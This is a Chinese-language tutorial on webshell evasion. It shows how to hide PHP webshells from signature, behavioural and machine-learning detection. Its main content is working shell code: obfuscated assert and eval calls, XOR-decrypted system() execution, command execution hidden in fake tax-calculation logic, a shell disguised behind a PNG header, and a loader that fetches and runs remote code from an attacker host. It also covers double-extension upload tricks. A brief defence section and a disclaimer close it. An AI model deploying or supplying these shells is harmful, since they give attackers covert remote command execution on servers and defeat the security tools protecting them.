一、Webshell免杀的技术内幕
Webshell是渗透测试中用于长时间控制目标服务器的关键工具,但随着现代安全检测技术的进步,包括基于静态特征匹配、行为监测以及机器学习的分析,传统的Webshell样本已经很难绕过防御系统。本文将从攻击者视角出发,深入探讨如何通过改写和伪装技术,让Webshell实现更高质量的免杀效果。
在讨论技术实现之前,我们需要明确防御系统是如何检测Webshell的。归纳起来,检测Webshell主要依赖以下几点:
- 特征匹配:基于已知的Webshell签名(特定关键字、函数组合等)。
- 行为分析:通过分析代码运行时行为,比如异常的文件读写、shell命令执行。
- 机器学习:基于大量Webshell样本训练的检测模型,寻找代码模式中的可疑特征。
所以,免杀的核心思想就是:欺骗静态特征分析,混淆行为逻辑,绕过机器学习模型的判定规则。接下来,我们将通过实例深入剖析这些免杀方法。
---
二、环境搭建:模拟目标服务器
为了测试Webshell免杀效果,我们需要一个真实的目标环境,以及用于检测的安全工具。以下是本次实验的环境构建:
目标环境
我们选择一个典型的PHP运行环境作为目标:
- 操作系统:Ubuntu 22.04
- Web服务器:Apache2
- 运行环境:PHP 8.1
- 安全插件:安装
ClamAV和ModSecurity,模拟目标服务器的安全检测能力。
搭建步骤(简化版): <pre><code class="language-bash"># 安装Apache和PHP sudo apt update && sudo apt install -y apache2 php libapache2-mod-php

安装ClamAV(模拟杀毒软件)
sudo apt install -y clamav clamav-daemon sudo systemctl start clamav-daemon
安装ModSecurity(模拟WAF)
sudo apt install -y libapache2-mod-security2 sudo a2enmod security2 sudo service apache2 restart</code></pre>
攻击工具
攻击机环境基于Kali Linux,预装了常用工具:
- Burp Suite:用于流量分析和Payload注入。
- VSCode + 插件:用于代码编辑和混淆。
- Python和PowerShell:用于编写和执行免杀工具。
---

三、Payload混淆的艺术
1. 绕过静态检测
传统的Webshell(如简单的PHP一句话)往往包含经典的特征,例如 eval、base64_decode、assert 等。静态特征检测工具会直接对这些关键字进行匹配,因此,绕过的第一步就是避开敏感函数。
方法一:动态变量和函数拼接
通过动态拼接的方式生成函数名,绕过静态扫描。 <pre><code class="language-php"><?php $a = 'as'.'sert'; $b = 'base'.'64_de'.'code'; $c = $b('ZWNobyAnaGVsbG8gd29ybGQnOw=='); // base64编码字符串 $a($c); ?></code></pre>
方法二:异或加密内容
将Payload内容加密存储,然后在运行时解密执行。 <pre><code class="language-php"><?php // 异或加密函数 function xor_encrypt($data, $key) { $out = ''; for ($i = 0; $i < strlen($data); $i++) { $out .= $data[$i] ^ $key[$i % strlen($key)]; } return $out; } // 加密并动态执行 $key = "secret"; $encrypted = xor_encrypt("system('ls');", $key); eval(xor_encrypt($encrypted, $key)); ?></code></pre>
2. 绕过机器学习模型
机器学习检测往往通过分析代码模式和结构特征来识别Webshell,但它对“真实业务逻辑”和“伪装代码”的区分能力较差。因此,我们可以通过混入大量看似正常的代码,打乱代码流逻辑,降低样本的可疑性。
示例:伪装成合法业务逻辑 <pre><code class="language-php"><?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $input = $_POST['data']; if (is_array($input)) { foreach ($input as $key => $value) { if ($key === 'cmd') { eval($value); // 执行危险命令 } } } } // 添加大量无关业务逻辑 function calculateTax($amount) { return $amount * 0.15; } echo calculateTax(100); ?></code></pre>
---
四、免杀的高级对抗手法
1. 文件名和扩展名伪装
许多防御系统会对上传文件的扩展名进行检测,例如禁止上传 .php 文件。因此,我们可以通过以下方式对文件名进行伪装:
- 使用
.jpg,.png等扩展名,并在服务器端通过文件包含漏洞加载。 - 使用双后缀伪装,例如
shell.php.jpg。
示例:伪装为图片 <pre><code class="language-php"><?php / 图片文件头伪装 / echo "\x89PNG\r\n"; // PNG 文件头 if (isset($_GET['cmd'])) { system($_GET['cmd']); // 执行命令 } ?></code></pre>
2. 内存加载技术
通过将恶意代码全部加载到内存中执行,避免直接将Payload写入磁盘。 <pre><code class="language-php"><?php $content = file_get_contents("https://attacker.com/payload.txt"); // 动态加载代码 eval($content); ?></code></pre>
---
五、防御与检测的策略
作为防御方,面对这些免杀手法,我们可以采取以下措施:
- 严格限制上传文件类型:通过白名单方式仅允许上传必要的文件类型,例如图片文件。
- 行为的多层分析:结合静态和动态检测技术,分析代码运行时的行为异常。
- 机器学习模型的增强:增加更多的正常业务样本,训练模型识别伪装代码。
- 监控流量异常:结合WAF和IDS监控外部请求的异常行为。
---

六、个人经验:免杀的核心在于对抗思维
在攻防对抗中,免杀技术始终是一场动态博弈。攻击者需要不断创新,结合混淆、加密、伪装等手段,绕过防御系统;而防御方则需要依赖多层检测和智能分析技术,尽可能缩小攻击面。
如果要总结免杀的核心经验,我会强调以下两点:
- 理解防御原理:只有清楚防御系统的检测逻辑,才能有效绕过。
- 动态调整Payload:没有一种万能的免杀方法,每次攻击都需要针对目标环境进行调整。
最后,本文仅供授权测试和研究使用,切勿滥用技术。
